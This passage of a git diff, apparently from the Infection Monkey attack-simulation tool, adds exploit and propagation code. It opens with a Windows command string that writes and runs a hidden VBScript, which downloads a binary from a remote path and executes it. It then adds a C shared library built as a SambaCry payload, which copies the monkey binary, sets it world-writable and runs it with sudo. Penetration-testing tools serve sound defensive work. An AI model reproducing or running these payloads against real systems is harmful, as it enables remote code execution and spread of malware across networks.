"GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) diff --git a/chaos_monkey/monkey-linux.spec b/chaos_monkey/monkey-linux.spec index 5ebd9779e..c8c4c631b 100644 --- a/chaos_monkey/monkey-linux.spec +++ b/chaos_monkey/monkey-linux.spec @@ -7,13 +7,17 @@ a = Analysis(['main.py'], pathex=['.'], binaries=None, datas=None, - hiddenimports=['_cffi_backend','grequests'], + hiddenimports=['_cffi_backend'], hookspath=None, runtime_hooks=None, excludes=None, win_no_prefer_redirects=None, win_private_assemblies=None, cipher=block_cipher) + +a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')] +a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')] + pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) exe = EXE(pyz, diff --git a/chaos_monkey/monkey.spec b/chaos_monkey/monkey.spec index 11df45517..8e004145b 100644 --- a/chaos_monkey/monkey.spec +++ b/chaos_monkey/monkey.spec @@ -3,10 +3,14 @@ import os import platform a = Analysis(['main.py'], pathex=['.'], - hiddenimports=['_cffi_backend', 'queue','grequests'], + hiddenimports=['_cffi_backend', 'queue'], hookspath=None, runtime_hooks=None) + +a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] +a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] + if platform.system().find("Windows")>= 0: a.datas = [i for i in a.datas if i[0].find('Include') < 0] if platform.architecture()[0] == "32bit": diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh new file mode 100644 index 000000000..900855a6c --- /dev/null +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash +gcc -c -Wall -Werror -fpic sc_monkey_runner.c +gcc -shared -o sc_monkey_runner.so sc_monkey_runner.o diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c new file mode 100644 index 000000000..e23d08f3a --- /dev/null +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c @@ -0,0 +1,160 @@ +#include +#include +#include +#include +#include + +#include "sc_monkey_runner.h" + +#ifdef __x86_64__ + #define ARCH_IS_64 +#endif + +#ifdef _____LP64_____ + #define ARCH_IS_64 +#endif + +#define LINE_MAX_LENGTH (2048) +#define MAX_PARAMETERS (30) + +int samba_init_module(void) +{ +#ifdef ARCH_IS_64 + const char RUNNER_FILENAME[] = "sc_monkey_runner64.so"; + const char MONKEY_NAME[] = "monkey64"; + const char MONKEY_COPY_NAME[] = "monkey64_2"; +#else + const char RUNNER_FILENAME[] = "sc_monkey_runner32.so"; + const char MONKEY_NAME[] = "monkey32"; + const char MONKEY_COPY_NAME[] = "monkey32_2"; +#endif + const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result"; + const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt"; + const int ACCESS_MODE = 0777; + const char RUN_MONKEY_CMD[] = "sudo ./"; + + int found = 0; + char modulePathLine[LINE_MAX_LENGTH] = {'\0'}; + char commandline[LINE_MAX_LENGTH] = {'\0'}; + char* monkeyDirectory = NULL; + char* fileNamePointer = NULL; + FILE * pFile = NULL; + pid_t pid = 0; + int monkeySize = 0; + void* monkeyBinary = NULL; + struct stat fileStats; + + pid = fork(); + + if (0 != pid) + { + // error or this is parent - nothing to do but return. + return 0; + } + + // Find fullpath of running module. + pFile = fopen("/proc/self/maps", "r"); + if (NULL == pFile) + { + return 0; + } + + while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) { + fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME); + if (fileNamePointer != NULL) { + found = 1; + break; + } + } + + fclose(pFile); + + // We can't find ourselves in module list + if (0 == found) + { + return 0; + } + + monkeyDirectory = strchr(modulePathLine, '/'); + *fileNamePointer = '\0'; + + if (0 != chdir(monkeyDirectory)) + { + return 0; + } + + // Write file to indicate we're running + pFile = fopen(RUNNER_RESULT_FILENAME, "w"); + if (NULL == pFile) + { + return 0; + } + + fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile); + fclose(pFile); + + // Read commandline + pFile = fopen(COMMANDLINE_FILENAME, "r"); + if (NULL == pFile) + { + return 0; + } + + // Build commandline + strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1); + strncat(commandline, MONKEY_COPY_NAME, sizeof(MONKEY_COPY_NAME) - 1); + strncat(commandline, " ", 1); + + fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile); + fclose(pFile); + + if (0 != stat(MONKEY_NAME, &fileStats)) + { + return 0; + } + + monkeySize = (int)fileStats.st_size; + + // Copy monkey to new file so we'll own it. + pFile = fopen(MONKEY_NAME, "rb"); + + if (NULL == pFile) + { + return 0; + } + + monkeyBinary = malloc(monkeySize); + + if (NULL == monkeyBinary) + { + return 0; + } + + fread(monkeyBinary, 1, monkeySize, pFile); + fclose(pFile); + + pFile = fopen(MONKEY_COPY_NAME, "wb"); + if (NULL == pFile) + { + free(monkeyBinary); + return 0; + } + fwrite(monkeyBinary, 1, monkeySize, pFile); + fclose(pFile); + free(monkeyBinary); + + // Change monkey permissions + if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE)) + { + return 0; + } + + system(commandline); + + return 0; +} + +int init_samba_module(void) +{ + return samba_init_module(); +} \ No newline at end of file diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h new file mode 100644 index 000000000..86db653c8 --- /dev/null +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h @@ -0,0 +1,7 @@ +#ifndef monkey_runner_h__ +#define monkey_runner_h__ + +extern int samba_init_module(void); +extern int init_samba_module(void); + +#endif // monkey_runner_h__ \ No newline at end of file diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index 9641e2ae3..cd2da3940 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -30,7 +30,7 @@ MONKEY_DOWNLOADS = [ }, { 'type': 'linux', - 'filename': 'monkey-linux-32', + 'filename': 'monkey-linux-64', }, { 'type': 'windows',